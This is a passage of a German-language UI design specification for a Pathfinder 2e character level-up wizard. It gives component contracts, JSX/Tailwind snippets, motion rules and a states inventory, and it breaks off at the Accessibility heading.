- Body (`text-sm text-text-secondary`): `Zuletzt bearbeitet: {relativeDate}.` (z.B. `vor 3 Tagen`).
|
||||
- Actions: `Fortsetzen` (`Button variant="default"`, icon `RotateCcw`) + `Verwerfen` (`Button variant="ghost"`, `text-error-500`, icon `Trash2`).
|
||||
|
||||
### "Stufe steigen"-Button on character-sheet header
|
||||
|
||||
Position: in the right-side header button cluster of `character-sheet-page.tsx` (lines 1607-1626 — alongside Download, Edit, Delete). Order: **first** in the cluster (left of Download).
|
||||
|
||||
| Character state | Button rendering |
|
||||
|-----------------|------------------|
|
||||
| Eligible, no DRAFT | `Button variant="default"` size `sm` — label `Stufe steigen`, icon `Sparkles`, fully enabled. |
|
||||
| Eligible, DRAFT exists | `Button variant="default"` size `sm` — label `Stufe fortsetzen`, icon `RotateCcw`, fully enabled. (Consistent with D-14 banner; both routes open the same wizard, the banner is just an upper-page reminder.) |
|
||||
| Character at level cap (level 20) | Hidden entirely. (No disabled state to avoid confusion — the button just isn't there.) |
|
||||
| User is neither owner nor GM | Hidden entirely. |
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Wizard Chrome
|
||||
|
||||
### Container
|
||||
|
||||
The wizard reuses the project's modal pattern (canonical: `add-feat-modal.tsx:246-260`):
|
||||
|
||||
```
|
||||
<div className="fixed inset-0 z-50 flex items-end sm:items-center justify-center">
|
||||
<div className="absolute inset-0 bg-black/60" onClick={handleBackdropClick} />
|
||||
<div className="relative w-full sm:max-w-2xl max-h-[90vh] bg-bg-secondary
|
||||
rounded-t-2xl sm:rounded-2xl flex flex-col overflow-hidden">
|
||||
{/* Header */}
|
||||
{/* Stepper */}
|
||||
{/* Body (current step) */}
|
||||
{/* Footer */}
|
||||
</div>
|
||||
</div>
|
||||
```
|
||||
|
||||
- Mobile: full-width bottom-sheet (`items-end`, `rounded-t-2xl`).
|
||||
- Desktop (`sm:` ≥ 640px): centered modal, max-width `2xl` (672px), `rounded-2xl`.
|
||||
- Backdrop click: opens the "Wizard mid-flow abbrechen" confirm if any choice has been made; closes silently if no choice yet.
|
||||
|
||||
### Header (always visible)
|
||||
|
||||
- Container: `flex items-center justify-between p-4 border-b border-border`.
|
||||
- Left: `<h2 className="text-lg font-semibold text-text-primary">Stufenaufstieg — Stufe {N}</h2>` + sub-line `<p className="text-xs text-text-secondary">{characterName}</p>`.
|
||||
- Right: close button `<Button variant="ghost" size="icon" aria-label="Schließen"><X className="h-5 w-5" /></Button>` triggering the same backdrop-confirm logic as the backdrop click. **This is the only cancel surface in the wizard chrome** (the footer carries no Abbrechen button).
|
||||
|
||||
### Stepper (always visible, between Header and Body)
|
||||
|
||||
Mobile-first compact dot-stepper with **always-visible progress label**:
|
||||
|
||||
- Outer container: `<nav role="navigation" aria-label="Wizard-Schritte" className="px-4 py-3 border-b border-border">`.
|
||||
- **Progress label (always visible, mobile and desktop)**: rendered as the first child of the stepper, above the dot row:
|
||||
```
|
||||
<div className="text-xs text-text-secondary pb-2">
|
||||
Schritt {currentIdx+1} von {totalSteps} — {currentStepLabel}
|
||||
</div>
|
||||
```
|
||||
This guarantees that on mobile (where dot-row labels are hidden) the user always knows which step they are on. With up to 11 conditional steps this label is essential, not optional.
|
||||
- Dot row: `<ol className="flex items-center gap-2 overflow-x-auto">`.
|
||||
- Each dot is wrapped in a real button so the touch target is genuine 44×44:
|
||||
```
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => goToStep(idx)}
|
||||
disabled={idx > currentIdx}
|
||||
aria-label={`${stepLabel}${idx === currentIdx ? ', aktuell' : idx < currentIdx ? ', abgeschlossen' : ', noch nicht verfügbar'}`}
|
||||
aria-current={idx === currentIdx ? 'step' : undefined}
|
||||
className="h-11 w-11 -m-1 flex items-center justify-center disabled:cursor-not-allowed"
|
||||
>
|
||||
{/* visible dot */}
|
||||
<span className={cn('rounded-full transition-colors duration-150', dotState)} />
|
||||
</button>
|
||||
```
|
||||
- The `-m-1` negative margin on the wrapper compensates for the 44px hit-zone so the perceived gap between dots stays at 8–12px while the tappable area is 44×44 — honest math, not a 6px-padding-claims-44px trick.
|
||||
- Visible-dot states (rendered inside the wrapping button):
|
||||
- **Future**: `h-2 w-2 rounded-full bg-bg-tertiary`.
|
||||
- **Current**: `h-2.5 w-2.5 rounded-full bg-primary-500`.
|
||||
- **Completed**: `h-2 w-2 rounded-full bg-primary-500/40`.
|
||||
- Step labels next to dots (visible **`sm:` and up only** — desktop bonus): each completed/current dot shows its step label `text-xs font-semibold text-text-primary` to its right; completed dots additionally render a `Check` icon at `h-3 w-3 text-success-500` overlaid on the dot. Mobile users rely on the always-visible progress label above the row instead.
|
||||
- Step-label vocabulary (one of, depending on which steps apply this level): `Merkmale`, `Wahl`, `Boost`, `Skill`, `Klasse`, `Fertigkeit`, `Allgemein`, `Abstammung`, `Archetyp`, `Zauber`, `Übersicht`. Conditional steps not shown.
|
||||
- Connector between dots: `h-px w-4 bg-bg-tertiary` (`bg-primary-500/40` between completed pairs). The connector sits inside its own non-interactive `<span>` between the dot buttons.
|
||||
- Future steps: dot button is `disabled` — no jumping forward to incomplete future steps. Completed and current steps are interactive (back-navigation only).
|
||||
|
||||
### Body (per-step content area)
|
||||
|
||||
- Container: `flex-1 overflow-y-auto p-4 sm:p-6`.
|
||||
- Top of body shows the step heading + sub-line (see Copywriting table above).
|
||||
- Below: the step's content (Choice-Cards, Boost-Picker, Skill-Picker, Review-Diff, …).
|
||||
- Mobile: one wahlpunkt per scroll-screen — choice-cards stack vertically, full-width.
|
||||
- Desktop: choice-cards may form a 2-column grid (`grid grid-cols-1 sm:grid-cols-2 gap-3`) for talent picks; boost picker stays single-column for clarity.
|
||||
|
||||
### Footer (always visible)
|
||||
|
||||
- Container: `flex items-center justify-between gap-3 p-4 border-t border-border bg-bg-secondary`.
|
||||
- **Left side** (contextual hint, optional): a `<span className="text-xs text-text-secondary">` may render `Schritt {n}/{m}` as a redundant footer hint, or be empty. The footer carries **no Abbrechen button** — mid-flow exit happens exclusively via the header `X` or backdrop click.
|
||||
- **Right cluster** (`flex items-center gap-2`):
|
||||
- `<Button variant="outline" onClick={prev} disabled={isFirstStep}><ChevronLeft className="h-4 w-4" /> Zurück</Button>`
|
||||
- On non-final steps in the normal forward flow: `<Button variant="default" onClick={next} disabled={!stepValid}>Weiter <ChevronRight className="h-4 w-4" /></Button>`
|
||||
- On the Review step: `<Button variant="default" onClick={commit} isLoading={isCommitting}><Check className="h-4 w-4" /> Bestätigen</Button>`
|
||||
- When the user is on a step they re-entered via Review's `Ändern` link, the primary right button changes to `<Button variant="default" onClick={returnToReview}><ArrowLeft className="h-4 w-4" /> Zurück zur Übersicht</Button>` (replaces `Weiter` until the user returns to Review). See Review-step contract for the re-validation contract.
|
||||
- Footer is sticky at the bottom of the modal (the body scrolls, the footer does not).
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Choice-Card
|
||||
|
||||
The choice-card is the primary interactive element across most steps (talent picks, boost-target picks, skill-increase picks, doctrine/school picks). Single canonical layout, used everywhere.
|
||||
|
||||
### Layout (per card)
|
||||
|
||||
Container:
|
||||
```
|
||||
<button
|
||||
onClick={() => onSelect(option)}
|
||||
disabled={isLocked}
|
||||
className={cn(
|
||||
'w-full text-left p-4 rounded-xl border transition-colors',
|
||||
'min-h-[64px]', // touch-target floor
|
||||
!isSelected && !isLocked && 'bg-bg-tertiary border-border hover:border-border-hover',
|
||||
isSelected && 'bg-bg-tertiary border-primary-500 ring-1 ring-primary-500/40',
|
||||
isLocked && 'bg-bg-tertiary/60 border-border opacity-60 cursor-not-allowed',
|
||||
)}
|
||||
>
|
||||
```
|
||||
|
||||
Inner structure (top row → meta row → optional description):
|
||||
|
||||
1. **Top row** (`flex items-start justify-between gap-2`):
|
||||
- Left: `<h4 className="text-sm font-semibold text-text-primary">{germanName ?? englishName}</h4>` + sub-line `text-xs text-text-muted` showing the English name if a German name exists.
|
||||
- Right (icons stack): in this order, only if applicable:
|
||||
- `Lock` icon (`h-4 w-4 text-text-muted`) if locked (already chosen / cap reached / not eligible at this slot).
|
||||
- `AlertTriangle` icon (`h-4 w-4 text-warning-500`) if prereq is **non-evaluable** (D-03) — wrapped in a tooltip showing the raw prereq string.
|
||||
- `Check` icon (`h-4 w-4 text-primary-500`) if currently selected.
|
||||
|
||||
2. **Meta row** (`mt-2 flex flex-wrap gap-2 items-center text-xs`):
|
||||
- Source badge (existing color map — Klassen-/Abstammungs-/etc., see Color section).
|
||||
- Level chip: `text-text-secondary` `Stufe {n}+`.
|
||||
- Action-cost badge if applicable (uses existing `ActionIcon` component from `client/src/shared/components/ui/action-icon.tsx`).
|
||||
- Rarity chip if not `Common` (existing convention from `add-feat-modal.tsx:294-302`).
|
||||
- **Cap-erreicht** chip on Skill-Increase cards: `bg-warning-500/10 text-warning-500 px-1.5 py-0.5 rounded` text `Cap erreicht`.
|
||||
|
||||
3. **Description (truncated)**: `mt-2 text-sm text-text-secondary line-clamp-2`. A `Mehr` link beneath the truncation opens the existing `FeatDetailModal` (or a similar detail modal for non-talent options) **as a layered modal** at `z-60`.
|
||||
|
||||
### Locked / unavailable states
|
||||
|
||||
- **Already chosen this Level-Up** (e.g. cannot pick the same skill twice): `disabled` + `Lock` icon + opacity 60%. No click effect.
|
||||
- **Prereq fails (evaluable)**: hidden by default. A toggle in the step body (`Auch nicht erfüllbare anzeigen`) shows them grayed (`opacity-60`) with a `bg-error-500/10 text-error-500 text-xs` chip `Voraussetzung nicht erfüllt: {parsed reason}`. Click still enabled but routes through the prereq-confirm dialog.
|
||||
- **Prereq non-evaluable (D-03)**: shown by default (it's only a warning, not a block). Yellow `AlertTriangle` icon. Click triggers the prereq-confirm dialog with the raw `prerequisites` string.
|
||||
- **Cap reached** (skill-increase): `disabled` + warning chip `Cap erreicht` + tooltip `Diese Fertigkeit ist auf deiner Stufe nicht weiter erhöhbar.`
|
||||
|
||||
### Selected state
|
||||
|
||||
- Border `border-primary-500` + halo `ring-1 ring-primary-500/40`.
|
||||
- Top-right `Check` icon `text-primary-500`.
|
||||
- Background remains `bg-bg-tertiary` — the accent is **only** the border + checkmark, not the surface fill (60/30/10 discipline).
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Boost-Set Step
|
||||
|
||||
Special layout: 6 attribute rows (STR, DEX, CON, INT, WIS, CHA) with a count of how many of the 4 boosts are spent on each. Mobile: vertical stack of 6 attribute rows. Desktop: 2-column grid.
|
||||
|
||||
**The row container is a `<div>`, not a `<button>`.** Tapping the row body itself has no behavior. Only the inner `+/-` controls are interactive — they are real `<button>` elements with proper `aria-label`s. This avoids the invalid HTML pattern of nesting `<button>` inside `<button>` and keeps a11y/event propagation clean. The row's hover state (`hover:border-border-hover`) is purely a decorative styling cue, not a clickable affordance.
|
||||
|
||||
Per attribute row:
|
||||
```tsx
|
||||
<li className="w-full p-4 rounded-xl border border-border bg-bg-tertiary
|
||||
flex items-center justify-between min-h-[64px]
|
||||
hover:border-border-hover">
|
||||
<div className="flex-1 min-w-0">
|
||||
<h4 className="text-sm font-semibold text-text-primary">
|
||||
{abbreviation} — {germanName}
|
||||
</h4>
|
||||
<p className="text-xs text-text-secondary">
|
||||
Aktuell {currentScore}{capReached ? ' (Cap)' : ''} → wird {newScore}
|
||||
</p>
|
||||
{currentScore >= 18 && count >= 1 && (
|
||||
<span className="inline-block mt-1 text-xs text-warning-500
|
||||
bg-warning-500/10 px-1.5 py-0.5 rounded">
|
||||
+1 (Cap bei 18)
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<div className="flex items-center gap-2 flex-shrink-0">
|
||||
<button
|
||||
type="button"
|
||||
onClick={dec}
|
||||
disabled={count === 0}
|
||||
aria-label={`${abbreviation} Boost verringern`}
|
||||
className="h-11 w-11 rounded-lg bg-bg-elevated flex items-center justify-center
|
||||
disabled:opacity-40 disabled:cursor-not-allowed
|
||||
hover:bg-bg-elevated/80 transition-colors"
|
||||
>
|
||||
<Minus className="h-5 w-5" />
|
||||
</button>
|
||||
<span className="text-lg font-semibold text-text-primary tabular-nums w-8 text-center">
|
||||
{count}
|
||||
</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={inc}
|
||||
disabled={!canIncrement}
|
||||
aria-label={`${abbreviation} Boost erhöhen`}
|
||||
className="h-11 w-11 rounded-lg bg-bg-elevated flex items-center justify-center
|
||||
disabled:opacity-40 disabled:cursor-not-allowed
|
||||
hover:bg-bg-elevated/80 transition-colors"
|
||||
>
|
||||
<Plus className="h-5 w-5" />
|
||||
</button>
|
||||
</div>
|
||||
</li>
|
||||
```
|
||||
|
||||
- The `+/-` controls are `h-11 w-11` (44×44px) — meeting the 44px touch-target floor declared in the Spacing Scale. Lucide `Minus` / `Plus` icons render at `h-5 w-5` to keep visual weight balanced inside the larger button.
|
||||
- **Responsive note for narrow viewports (`<360px`)**: the row layout falls back from `flex-row` to `flex-col` so the `+/-` cluster sits below the attribute label rather than to its right. Implementation: wrap the row in a container with `flex-col @[360px]:flex-row @[360px]:items-center @[360px]:justify-between` (Tailwind container queries) — or, if container queries are unavailable, accept the cramped layout and ensure the row has `flex-wrap gap-3` so the cluster wraps under the label rather than overlapping it.
|
||||
- "wird {newScore}" reflects the +2 / +1 cap-bei-18 rule live (not the full character recompute — that's review-only per D-12, but this single-attribute preview stays correct because the math is local).
|
||||
- **Cap visualisation**: when `currentScore >= 18` AND `count >= 1`, the inline chip `+1 (Cap bei 18)` renders below the score line in `text-warning-500`. Otherwise the row implies +2.
|
||||
- **Footer-helper** below the 6 rows: `<p className="text-xs text-text-secondary mt-4">{boostsSpent} von 4 Boosts gewählt. Du musst genau 4 verschiedene Attribute boosten.</p>` — when `boostsSpent === 4`, the `Weiter` button enables.
|
||||
- A boost cannot be doubled-up: max `count` per attribute is 1 (PF2e rule on level-up boosts). The +/- controls enforce this.
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Skill-Increase Step
|
||||
|
||||
A scrollable list of 16+ skills (or all the character's trained-or-higher skills, plus untrained ones to allow new training).
|
||||
|
||||
Per skill row (compact):
|
||||
```
|
||||
<button className="w-full p-3 rounded-lg border border-border bg-bg-tertiary
|
||||
flex items-center justify-between min-h-[56px]
|
||||
hover:border-border-hover disabled:opacity-60">
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="text-sm font-semibold text-text-primary">{germanSkillName}</span>
|
||||
<span className="text-xs text-text-secondary">{abilityAbbreviation}</span>
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs text-text-secondary">{germanCurrentProf}</span>
|
||||
<ChevronRight className="h-3 w-3 text-text-muted" />
|
||||
<span className={cn('text-xs font-semibold', proficiencyColors[newProf])}>{germanNewProf}</span>
|
||||
</div>
|
||||
</button>
|
||||
```
|
||||
|
||||
- Reuses the existing proficiency color map (`feat-detail-modal.tsx` → `PROFICIENCY_COLORS` in `character-sheet-page.tsx`): `TRAINED text-blue-500`, `EXPERT text-purple-500`, `MASTER text-orange-500`, `LEGENDARY text-red-500`.
|
||||
- **Cap-erreicht skills** (e.g. trying to push to MASTER before L7) are rendered with `disabled` + warning chip `Cap erreicht`.
|
||||
- **Already trained skills (UNTRAINED case is rare, only for first-time training)** are shown normally.
|
||||
- Mobile: one column. Desktop: still one column for clarity (16 rows × 56px ≈ 900px which fits in the modal scroll body).
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Free-Archetype-Slot Step (D-08)
|
||||
|
||||
Top of the step body shows the read-only toggle status:
|
||||
|
||||
- If FA is **enabled** for this character: info strip `bg-info-500/10 border border-info-500/20 text-info-500 p-3 rounded-lg flex items-center gap-2` with `<Sparkles className="h-4 w-4" />` icon and copy `Free Archetype: aktiv` + sub-line `text-xs text-text-secondary` `Du erhältst zusätzlich einen Archetypen-Talent-Slot.`
|
||||
- If FA is **disabled**: the entire step is skipped (not rendered in the stepper).
|
||||
- Below the strip: choice-cards filtered by archetype rules:
|
||||
- Vor erster Dedication: cards filtered to `featType === 'Archetype'` AND trait includes `Dedication`.
|
||||
- Nach erster Dedication (D-07 — Pathbuilder behavior): all `featType === 'Archetype'` cards (any archetype).
|
||||
- A small text below the filter-toggle row reads either `Wähle eine Dedication.` or `Talente jedes Archetyps sind erlaubt (Pathbuilder-Verhalten).` (matches sub-line copy table above).
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Spellcaster Step
|
||||
|
||||
Top of the step body shows a read-only info strip describing what's automatic:
|
||||
|
||||
- Vorbereiteter Caster: `<info strip> Slot-Erhöhung: +{N} Slot auf Grad {M} (automatisch)` — and the body has **no choice-cards** beyond this strip; the user can press `Weiter` immediately.
|
||||
- Spontaner Caster (Bard, Sorcerer, Oracle, Witch with Patron-Variant, Summoner spontaneously cast — D-18): info strip + a **repertoire-pick** sub-section. The repertoire-pick is a list of choice-cards (one per spell), filtered by tradition and by the user's known spell-levels. Cap message: `Wähle {N} Zauber für dein Repertoire.` `{spellsPicked} von {N} gewählt.` `Weiter` enables when `spellsPicked === N`.
|
||||
|
||||
Spell choice-cards reuse the canonical Choice-Card layout, with these adaptations:
|
||||
- Top row title: `{germanSpellName}` + sub-line englishName.
|
||||
- Meta row: tradition chip (`bg-primary-500/10 text-primary-400 px-1.5 py-0.5 rounded text-xs`), spell-level chip `Grad {n}`, traits.
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Choice-Klassenmerkmal Sub-Step (D-19)
|
||||
|
||||
Triggered when the `ClassProgression` row for `(class, targetLevel)` carries `choiceType` (e.g. Cleric Doctrine, Wizard School, Fighter Weapon Mastery, Champion Cause, Sorcerer Bloodline if not at L1, …).
|
||||
|
||||
Layout: a vertical stack of mutually-exclusive choice-cards (canonical Choice-Card layout), single-column on mobile and desktop. Selecting one card auto-deselects the previous (radio-group semantics, but using the same visual Choice-Card).
|
||||
|
||||
- Header sub-line is dynamic based on the choice key (see Copywriting table — `Lehre wählen`, `Schule wählen`, …).
|
||||
- The `choiceOptionsRef` from `ClassProgression` resolves to a list of options. Each option's description is rendered in the truncated description area; `Mehr` opens a layered detail-modal at `z-60`.
|
||||
- After picking, the meta row shows the badge `Klassenmerkmal-Wahl` (`bg-secondary-500/20 text-secondary-300 text-xs px-1.5 py-0.5 rounded`).
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Review Step (D-12)
|
||||
|
||||
Two-section layout, mobile-first vertically stacked, desktop two-column where helpful.
|
||||
|
||||
### Section A — Wahlen-Zusammenfassung
|
||||
|
||||
A `Card`-wrapped list of every choice the user made, grouped by step. Each row:
|
||||
|
||||
```
|
||||
<div className="flex items-start justify-between gap-3 py-2 border-b border-border last:border-0">
|
||||
<div className="flex items-center gap-2">
|
||||
{stepIcon} {/* e.g. Star for talent, Sparkles for skill, Wand2 for repertoire */}
|
||||
<span className="text-xs text-text-secondary">{stepLabel}</span>
|
||||
<span className="text-sm font-semibold text-text-primary">{choiceLabel}</span>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => goToStep(step, { revisionMode: true })}
|
||||
className="text-xs text-primary-500 hover:underline"
|
||||
>
|
||||
Ändern
|
||||
</button>
|
||||
</div>
|
||||
```
|
||||
|
||||
#### `Ändern` revision contract
|
||||
|
||||
When the user clicks `Ändern` on a Review row:
|
||||
|
||||
1. Wizard navigates to that step (back-navigation).
|
||||
2. The wizard footer's primary right button changes from `Weiter` to `<Button variant="default"><ArrowLeft className="h-4 w-4" /> Zurück zur Übersicht</Button>` (icon `ArrowLeft`). `Zurück` (left button) still works as normal back-nav, as does direct stepper-dot tapping.
|
||||
3. The user revises their choice on that step.
|
||||
4. When the user clicks `Zurück zur Übersicht`, the wizard runs **chain re-validation**:
|
||||
- Walk forward through every step that comes after the revised one.
|
||||
- For each later step, check whether the previously-saved choice is still valid given the new earlier choice (e.g. a Skill-Increase that depended on a now-removed boost; a Talent whose evaluable prereq now fails because of a swapped earlier feat).
|
||||
- Any step whose saved choice is now invalid has its choice **cleared** (set back to "not yet picked").
|
||||
5. Wizard returns to the Review step.
|
||||
6. Cleared choices appear in Review Section A with the inline note `Diese Wahl wurde durch eine frühere Änderung zurückgesetzt — bitte erneut treffen.` (`text-xs text-warning-500`), and the `Ändern` link on that row is replaced by a `Wählen` link (`text-xs text-primary-500`) that jumps to the cleared step.
|
||||
7. The `Bestätigen` button is disabled until every Review row has a valid choice.
|
||||
|
||||
This contract avoids the "click Weiter through 6 steps again" trap: users always get a single explicit return path (`Zurück zur Übersicht`) and only re-enter steps that the chain actually invalidated.
|
||||
|
||||
Direct stepper-dot taps continue to work as conventional back-nav (no re-validation triggered) so users can browse without committing to a revision.
|
||||
|
||||
### Section B — Stat-Diff (Vorher / Nachher)
|
||||
|
||||
Two-column "Vorher / Nachher" layout. Mobile: stacked (Vorher card on top, Nachher card below). Desktop: side-by-side `grid grid-cols-1 sm:grid-cols-2 gap-4`.
|
||||
|
||||
Each card uses `Card` + `CardHeader` + `CardContent`:
|
||||
|
||||
- Card title (`CardTitle`): `Vorher (Stufe {N-1})` / `Nachher (Stufe {N})` — for "Nachher", a `Sparkles` icon `text-primary-500` is rendered next to the title.
|
||||
- Card content: a 5-row `<dl>`:
|
||||
|
||||
| Stat | Vorher | Nachher |
|
||||
|------|--------|---------|
|
||||
| HP-Max | `{old}` | `{new}` |
|
||||
| RK | `{old}` | `{new}` |
|
||||
| Klassen-DC | `{old}` | `{new}` |
|
||||
| Wahrnehmung | `{old}` | `{new}` |
|
||||
| Rettungswürfe | `Fort {old} / Ref {old} / Wille {old}` | `Fort {new} / Ref {new} / Wille {new}` |
|
||||
|
||||
Numbers in the Nachher card use `font-mono text-2xl font-semibold text-text-primary`. Deltas are rendered inline as small chips:
|
||||
- Positive change: `text-xs px-1.5 py-0.5 rounded bg-success-500/10 text-success-500` (`+{delta}`).
|
||||
- No change: omitted (no chip).
|
||||
- Negative change (rare — only if a class transition causes it; defensive): `bg-error-500/10 text-error-500` (`{delta}`).
|
||||
|
||||
### Section C — Spellcaster-Diff (only if applicable)
|
||||
|
||||
Shown below B when the character is a caster: a small table of spell-slot increments and (for spontaneous) repertoire deltas.
|
||||
|
||||
```
|
||||
<dl className="grid grid-cols-2 gap-2 text-sm">
|
||||
<dt className="text-text-secondary">Slots Grad 3</dt><dd className="text-text-primary">3 → 4 (<span className="text-success-500">+1</span>)</dd>
|
||||
<dt className="text-text-secondary">Repertoire</dt><dd className="text-text-primary">+{N} Zauber gewählt</dd>
|
||||
</dl>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Prereq-Confirm Dialog (D-03)
|
||||
|
||||
A **secondary modal layered over the wizard** at `z-60` (wizard sits at `z-50`, dialog at `z-60` — both share the same fixed-positioned root, dialog gets its own backdrop `bg-black/40`).
|
||||
|
||||
- Container: `relative w-full sm:max-w-md p-6 bg-bg-secondary rounded-2xl border border-warning-500/30`.
|
||||
- Header: `<div className="flex items-center gap-3 mb-3"> <AlertTriangle className="h-5 w-5 text-warning-500" /> <h3 className="text-base font-semibold text-text-primary">Voraussetzung nicht prüfbar</h3> </div>`
|
||||
- Body: `<p className="text-sm text-text-secondary mb-2">Voraussetzung:</p> <p className="text-sm font-semibold text-text-primary mb-4 p-3 rounded-lg bg-bg-tertiary border-l-4 border-warning-500">„{prereqText}"</p> <p className="text-sm text-text-secondary">Dimension47 kann diese Bedingung nicht automatisch prüfen. Erfüllst du sie?</p>`
|
||||
- Footer: `<div className="flex gap-3 mt-4 justify-end">` with `Abbrechen` (`Button variant="ghost"`) + `Trotzdem wählen` (`Button variant="default"`).
|
||||
|
||||
The same dialog shape is reused for "Wizard mid-flow abbrechen", "DRAFT verwerfen" — each with their own copy + heading + appropriate button variant. Note: the `Abbrechen` ghost button **only** appears inside these confirm dialogs. The wizard chrome itself never shows a top-level Abbrechen button.
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — DRAFT-Resume Banner (D-14)
|
||||
|
||||
Two surfaces share this banner:
|
||||
|
||||
1. **Character-sheet page** (when a DRAFT exists for this character) — at the very top of the page, above the avatar header. Persistent until DRAFT is committed or discarded.
|
||||
2. **Wizard entry** — when the user clicks `Stufe steigen` and a DRAFT exists, the wizard opens directly to the last step the user was on, with a small inline strip at the top of the body `Entwurf wiederhergestellt — letzte Bearbeitung: {relativeDate}.` (`text-xs text-info-500 bg-info-500/10 p-2 rounded mb-4`).
|
||||
|
||||
Banner layout (surface 1):
|
||||
```
|
||||
<div className="bg-bg-tertiary border-l-4 border-primary-500 p-4 rounded-r-lg flex items-start justify-between gap-3">
|
||||
<div className="flex items-start gap-3">
|
||||
<RotateCcw className="h-5 w-5 text-primary-500 flex-shrink-0 mt-0.5" />
|
||||
<div>
|
||||
<h3 className="text-sm font-semibold text-text-primary">
|
||||
Du hast eine offene Stufenaufstiegs-Session — Stufe {N}.
|
||||
</h3>
|
||||
<p className="text-xs text-text-secondary mt-0.5">
|
||||
Zuletzt bearbeitet: {relativeDate}.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
<Button variant="ghost" size="sm" onClick={discard} className="text-error-500">
|
||||
<Trash2 className="h-4 w-4" /> Verwerfen
|
||||
</Button>
|
||||
<Button variant="default" size="sm" onClick={resume}>
|
||||
<RotateCcw className="h-4 w-4" /> Fortsetzen
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Component Contract — Pathbuilder-Import-Violations Banner (D-06)
|
||||
|
||||
Surface: directly below the avatar header, above the tab-navigation row. Persistent — Phase 1 ships listing only; user-driven resolution UI is v2.
|
||||
|
||||
```
|
||||
<div className="bg-warning-500/10 border-l-4 border-warning-500 p-4 rounded-r-lg">
|
||||
<div className="flex items-start gap-3">
|
||||
<AlertTriangle className="h-5 w-5 text-warning-500 flex-shrink-0 mt-0.5" />
|
||||
<div className="flex-1">
|
||||
<h3 className="text-sm font-semibold text-warning-500">
|
||||
{N} Talente mit nicht erfüllter Voraussetzung
|
||||
</h3>
|
||||
<p className="text-sm text-text-secondary mt-1">
|
||||
Beim Import wurde festgestellt, dass folgende Talente Voraussetzungen haben,
|
||||
die der Charakter nicht erfüllt. Liste prüfen und ggf. nachträglich anpassen.
|
||||
</p>
|
||||
<Button variant="ghost" size="sm" onClick={toggleList} className="mt-2 -ml-2">
|
||||
{expanded ? <ChevronDown /> : <ChevronRight />} Liste {expanded ? 'verbergen' : 'anzeigen'}
|
||||
</Button>
|
||||
{expanded && (
|
||||
<ul className="mt-2 space-y-1 text-sm text-text-secondary">
|
||||
{violations.map(v => (
|
||||
<li key={v.featId}>
|
||||
<span className="font-semibold text-text-primary">{v.featName}</span>
|
||||
<span className="text-text-muted"> — Voraussetzung: {v.prereqText}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Motion
|
||||
|
||||
Phase 1 is the first feature in the codebase to use `framer-motion`. Two motion contracts:
|
||||
|
||||
1. **Step transitions** (slide horizontal — direction = next/prev):
|
||||
- Wrapper: `<AnimatePresence mode="wait">` around the step body.
|
||||
- Each step `<motion.div key={stepId} initial={{ opacity: 0, x: direction === 'forward' ? 24 : -24 }} animate={{ opacity: 1, x: 0 }} exit={{ opacity: 0, x: direction === 'forward' ? -24 : 24 }} transition={{ duration: 0.2, ease: 'easeOut' }}>`.
|
||||
- Direction is derived from the previous step index vs. current step index.
|
||||
- Reduced-motion: respects `prefers-reduced-motion: reduce` — when set, the wrapper falls back to no `x` translation and a 0.1s opacity-only fade. (Implemented via `useReducedMotion()` hook from framer-motion.)
|
||||
|
||||
2. **Modal entry/exit**: existing CSS animations from `index.css` (`@keyframes slide-up` / `fade-in`) are sufficient for the wizard container itself. No framer-motion on the outer modal.
|
||||
|
||||
**Stepper dot transitions**: pure CSS `transition-colors duration-150 ease-out` on `bg-primary-500` / `bg-bg-tertiary` swaps. No framer-motion needed.
|
||||
|
||||
**Confirm-dialog (prereq, abort, discard)**: existing `slide-up 0.3s ease-out` from `index.css` applied to the dialog panel. No framer-motion.
|
||||
|
||||
---
|
||||
|
||||
## States Inventory
|
||||
|
||||
For each interactive surface, the executor must implement:
|
||||
|
||||
| Surface | States required |
|
||||
|---------|-----------------|
|
||||
| Choice-card | default, hover (`border-border-hover`), focus (`ring-2 ring-primary-500/40`), selected, locked (already chosen / cap), prereq-warning (yellow icon), prereq-fail (hidden by default) |
|
||||
| Boost-attribute row | default, hover (decorative only — row is a `<div>`), `+/-` disabled when count=0 / cap reached / 4 boosts spent |
|
||||
| Skill row | default, hover, cap-reached (disabled + warning chip) |
|
||||
| Talent list | loading (`Spinner` + label), empty (heading + body + show-unavailable toggle), error (heading + body + retry button), populated |
|
||||
| Wizard footer | first-step (Zurück disabled), middle-step (both enabled when `stepValid`), final-step (Bestätigen replaces Weiter), revision-mode (Zurück zur Übersicht replaces Weiter), committing (`isLoading` on Bestätigen) |
|
||||
| Stepper dot button | future (disabled), current (`aria-current="step"`), completed (interactive, back-nav), all wrapped at 44×44 hit-zone |
|
||||
| DRAFT-resume banner | character-sheet surface (always visible until resolved), wizard inline (one-shot info strip on entry) |
|
||||
| Pathbuilder-violations banner | collapsed (default), expanded (list visible) |
|
||||
| `Stufe steigen` button on character header | enabled-no-draft (label `Stufe steigen`), enabled-with-draft (label `Stufe fortsetzen`, icon `RotateCcw`), hidden (cap or no permission) |
|
||||
| Prereq-confirm dialog | default, accepting click closes dialog and selects card |
|
||||
| Review row | normal (with `Ändern` link), revalidation-cleared (with warning note + `Wählen` link), all-valid (Bestätigen enabled) |
|
||||
|
||||
---
|
||||
|
||||
## Accessibility
|
||||
|
||||
